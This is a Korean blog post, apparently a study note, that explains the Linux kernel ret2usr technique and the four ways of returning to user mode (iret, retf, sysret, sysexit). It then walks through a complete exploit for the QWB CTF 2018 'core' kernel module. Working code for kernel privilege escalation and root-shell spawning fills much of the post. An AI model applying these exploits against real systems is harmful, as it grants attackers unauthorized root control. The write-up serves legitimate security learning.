[QWB CTF 2018] core 문제에서 ret2usr 기법이 사용되었는데
ret2usr에 대해 알아보도록 하자.
https://ssongkit.tistory.com/767
LPE
- 먼저 커널에서 권한 상승(LPE)을 하기 위해선 commit_creds(prepare_kernel_cred(0));를 수행해야 한다.
- 이 때 LPE 이후 바로 system("/bin/sh") 같은 유저단의 코드를 실행시켜버리면 환경이 맞지 않아서 커널 패닉이 발생한다.
- 따라서 다시 유저 모드로 돌아오는 과정이 필요하다. (그래서 공격 이름이 ret2usr인 듯)
- 64bit 환경에서 사용자 모드로 전환하려면 먼저 swapgs를 실행하고 iret, retf, sysret, sysexit 중 하나를 실행해야 한다.
struct task_struct;
struct cred;
struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
(void *) 0xffffffff81081716;
int (*commit_creds)(struct cred *new) =
(void *) 0xffffffff8108157b;
void ret2usr(void)
{
commit_creds(prepare_kernel_cred(NULL)); // 이 코드는 커널에서 실행됩니다.
}
swapgs
- 64비트 환경에서 linux 커널은 GSBase의 값을 GS의 기준 주소로 GSBase:Offset의 형식으로 GS영역을 참조한다.
- GS는 per-CPU라 불리는 특별한 구조체를 가리키고 있는데, 커널모드와 유저 모드는 서로 다른 per-CPU구조체를 사용한다.
- 시스템 콜이나 인터럽트가 발생해서 커널 모드로 컨텍스트 스위칭이 일어날 때 swapgs를 실행해서 GSBase의 값을 KernelGSBase의 값과 교환한다.
- 유저 모드로 복귀할 땐 다시 swapgs명령을 호출해서 GSBase의 값을 교환한다.
- 따라서 LPE 이후 유저 모드로 전환하려면 GSBase값을 사용자의 GS값으로 교체해야 하므로 swapgs를 실행해야 한다.
iret
- 인터럽트를 처리할 때, x86 CPU는 현재 실행 상태의 일부를 Trap Frame이라는 구조에 맞춰서 스택에 저장한다.
- 64비트 기준으로 RIP, CS, RFLAGS, RSP, SS 레지스터 값으로 이루어진다.
- 인터럽트 처리를 마친 후에 iret을 실행하면 CPU는 스택에 저장해둔 Trap Frame을 이용해서 원래의 실행 상태를 복구한다.
- 스택에 적절하게 Trap Frame을 구성하고 iret을 실행하면 유저 모드로 전환이 가능하다.
- iret의 Trap Frame 구성은 다음과 같다.
- RIP는 유저 모드로 전환하고 실행할 코드의 주소를 지정한다.
- RSP는 사용할 스택 포인터의 주소를 지정한다.
- RFLAGS 레지스터는 0x202로 설정하면 된다.
- CS와 SS는 세그먼트 레지스터로 값이 고정되어 있다. 64bit에서는 CS=0x33, SS=0x2b로 설정하면 된다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
/* IRET에서 사용할 트랩 프레임을 정적으로 할당합니다. */
static struct trap_frame {
void *rip;
uint64_t cs; /* 실제로는 하위 16비트만 사용됨 */
uint64_t rflags;
void *rsp;
uint64_t ss; /* 실제로는 하위 16비트만 사용됨 */
} tf = {
.rip = &shell, /* IRET에서 리턴할 함수 주소 */
.cs = 0x33, /* IRET 이후 CS 레지스터 값 */
.rflags = 0x202, /* IRET 이후 RFLAGS 레지스터 값 */
.rsp = dummy_stack + 512, /* IRET 이후 스택 포인터 */
.ss = 0x2b /* IRET 이후 SS 레지스터 값 */
};
volatile register uint64_t RSP asm("rsp"); /* RSP 레지스터를 변수로 씁니다. */
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RSP = (uint64_t)&tf; /* 스택 포인터를 트랩 프레임에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"iretq" /* IRET 명령을 실행합니다. */
:: "r" (RSP) /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
);
}
retf
- retf는 스택에 저장해둔 RIP와 CS값을 사용하며, 사용자 모드로 전환할때는 RSP와 SS값도 추가로 사용한다.
- iret에서 사용한 Trap Frame에서 RFLAGS만 제외하면 그대로 사용할 수 있다. (Far Return Frame 이라고도 하나 봄)
- 정리하면 Trap Frame에서 RFLAG값 빠지고 iret을 retfq로만 바꿔주면 된다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* RETF에서 사용할 Far Return 프레임을 정적으로 할당합니다. */
static struct far_return_to_outer_ring_frame {
void *rip;
uint64_t cs; /* 실제로는 하위 16비트만 사용됨 */
void *rsp;
uint64_t ss; /* 실제로는 하위 16비트만 사용됨 */
} frf = {
.rip = &shell, /* RETF에서 리턴할 함수 주소 */
.cs = 0x33, /* RETF 이후 CS 레지스터 값 */
.rsp = dummy_stack + 512, /* RETF 이후 스택 포인터 */
.ss = 0x2b /* RETF 이후 SS 레지스터 값 */
};
volatile register uint64_t RSP asm("rsp"); /* RSP 레지스터를 변수로 씁니다. */
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RSP = (uint64_t)&frf; /* 스택 포인터를 Far Return 프레임에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"retfq" /* RETF 명령을 실행합니다. */
:: "r" (RSP) /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
);
}
sysret
- sysret은 RCX를 RIP로, R11을 RFLAGS로 복사한 후 사용자 모드로 복귀하는 명령어이다.
- sysret의 Trap Frame 구성은 다음과 같다.
- RCX는 실행할 사용자 영역의 코드 주소를 지정한다.
- RSP는 리턴 후 스택 포인터로 사용할 주소를 지정한다. RSP값은 sysret이 변경해 주지 않으므로 직접 설정해야 한다.
- R11레지스터는 0x202로 설정한다. (iret과 동일)
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
volatile register uint64_t R11 asm("r11"), RCX asm("rcx"), RSP asm("rsp");
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
R11 = 0x202; /* SYSRET 이후 RFLAGS 레지스터 값을 지정합니다. */
RCX = (uint64_t)shell; /* SYSRET 이후 리턴할 함수 주소를 지정합니다. */
RSP = (uint64_t)(dummy_stack + 512); /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"sysretq" /* SYSRET 명령을 실행합니다. */
/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
:: "r" (R11), "r" (RCX), "r" (RSP)
);
}
sysexit
- sysexit은 RCX를 RSP로, RDX를 RIP로 복사하고 사용자 모드로 복귀하는 명령어이다.
- sysexit의 Trap Frame 구성은 다음과 같다.
- RCX는 사용자 모드로 전환하고 스택 포인터로 사용할 주소를 지정한다.
- RDX는 실행할 사용자 영역의 코드 주소를 지정한다.
- sysexit는 원래 32비트에서만 사용할 수 있지만, 32비트 호환기능이 활성화되어 있다면 64비트에서도 사용할 수 있다. (intel CPU만 가능)
- 단, 64비트 유저 모드로 복귀 후에 SS 레지스터가 무효한 값으로 설정되기 때문에 복구해주어야 한다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* shell_thunk에서 SS 복구 후 호출되는 함수입니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* ret2usr에서 사용자 모드로 반환한 후 shell_thunk 함수가 실행됩니다. */
__attribute__((naked)) void shell_thunk(void) {
asm volatile(
/* SS 레지스터를 복구합니다. */
"mov ax, 0x2b\n\t"
"mov ss, ax\n\t"
/* shell 함수로 이동합니다. */
"jmp shell"
);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
volatile register uint64_t RCX asm("rcx"), RDX asm("rdx");
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RCX = (uint64_t)(dummy_stack + 512); /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
RDX = (uint64_t)shell_thunk; /* SYSEXIT 이후 리턴할 함수 주소를 지정합니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"rex.W sysexit" /* SYSEXIT 명령을 64비트 모드로 실행합니다. */
/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
:: "r" (RCX), "r" (RDX)
);
}
[QWB CTF 2018] core
먼저 해당 문제에서 사용된 익스플로잇 코드는 다음과 같다.
부분별로 나눠서 살펴보자.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#define CORE_READ 1719109787
#define CORE_OFFSET 1719109788
#define CORE_COPY 1719109786
void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);
struct trap_frame{
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
}__attribute__((packed));
struct trap_frame tf;
void shell()
{
system("/bin/sh");
}
void backup_tf(void) {
asm("mov tf+8, cs;"
"pushf; pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
tf.user_rip = &shell;
}
void *get_addr(char *name)
{
void *addr = NULL;
char sym[200] = { 0, };
FILE *fp = fopen("/tmp/kallsyms", "r");
while (fscanf(fp, "%p %*c %200s\n", &addr, sym) > 0)
{
if(strcmp(sym, name) == 0) break;
else addr = NULL;
}
fclose(fp);
return addr;
}
void exploit()
{
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&tf));
}
int main(void)
{
int fd = open("/proc/core", O_RDWR);
prepare_kernel_cred = get_addr("prepare_kernel_cred");
commit_creds = get_addr("commit_creds");
char tmp[70] = { 0, };
char canary[8] = { 0, };
char payload[0x70] = { 0, };
ioctl(fd, CORE_OFFSET, 0x40);
ioctl(fd, CORE_READ, tmp);
memcpy(canary, tmp, 8);
memset(payload, 'a', 0x40);
memcpy(payload+0x40, canary, 8);
memset(payload+0x48, 'a', 8);
*(uint64_t *)(payload+0x50)=(uint64_t)exploit;
backup_tf();
write(fd, payload, 0x58);
ioctl(fd, CORE_COPY, 0x8000000000000058);
return 0;
}
void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);
LPE에 사용될 함수들의 포인터 변수를 선언했다.
struct trap_frame{
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
}__attribute__((packed));
struct trap_frame tf;
trap_frame 구조체를 정의하고 구조체 변수를 선언했다.
void shell()
{
system("/bin/sh");
}
void backup_tf(void) {
asm("mov tf+8, cs;"
"pushf; pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
tf.user_rip = &shell;
}
shell 함수를 정의하고
trap_frame 구조체 변수 tf에 내용을 채운다.
rip는 shell 함수 주소를 넣고
rlafgs를 제외한 나머지 레지스터는 mov로 레지스터의 값을 복사하는 것을 확인할 수 있다.
rflags같은 경우엔 pushf 및 pop 명령을 사용해서 값을 가져온다.
void exploit()
{
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&tf));
}
LPE 및 유저 모드로 복귀하는 함수다.
void *get_addr(char *name)
{
void *addr = NULL;
char sym[200] = { 0, };
FILE *fp = fopen("/tmp/kallsyms", "r");
while (fscanf(fp, "%p %*c %200s\n", &addr, sym) > 0)
{
if(strcmp(sym, name) == 0) break;
else addr = NULL;
}
fclose(fp);
return addr;
}
심볼 파일에서 커널 함수의 주소를 가져오는 함수다.
int main(void)
{
int fd = open("/proc/core", O_RDWR);
prepare_kernel_cred = get_addr("prepare_kernel_cred");
commit_creds = get_addr("commit_creds");
char tmp[70] = { 0, };
char canary[8] = { 0, };
char payload[0x70] = { 0, };
ioctl(fd, CORE_OFFSET, 0x40);
ioctl(fd, CORE_READ, tmp);
memcpy(canary, tmp, 8);
memset(payload, 'a', 0x40);
memcpy(payload+0x40, canary, 8);
memset(payload+0x48, 'a', 8);
*(uint64_t *)(payload+0x50)=(uint64_t)exploit;
backup_tf();
write(fd, payload, 0x58);
ioctl(fd, CORE_COPY, 0x8000000000000058);
return 0;
}
커널 모듈의 취약점을 트리거하여 exploit 함수를 커널 단에서 수행하고
backup_tf 함수로 trap_frame을 설정한 뒤, 유저모드로 돌아와 shell 함수로 쉘을 얻어낸다.
https://kimgoon.tistory.com/69
'background > linux kernel' 카테고리의 다른 글
[Linux Kernel Exploit] ROP (with ret2usr) (0) | 2024.04.05 |
---|---|
Kernel Address Display Restriction (KADR) (0) | 2024.04.04 |
Kernel Address Space Layout Randomization (KASLR) (0) | 2024.04.03 |
Linux Kernel Debugging (with VMware) (1) | 2024.04.03 |
Linux Kernel Debugging (with QEMU) (0) | 2024.04.02 |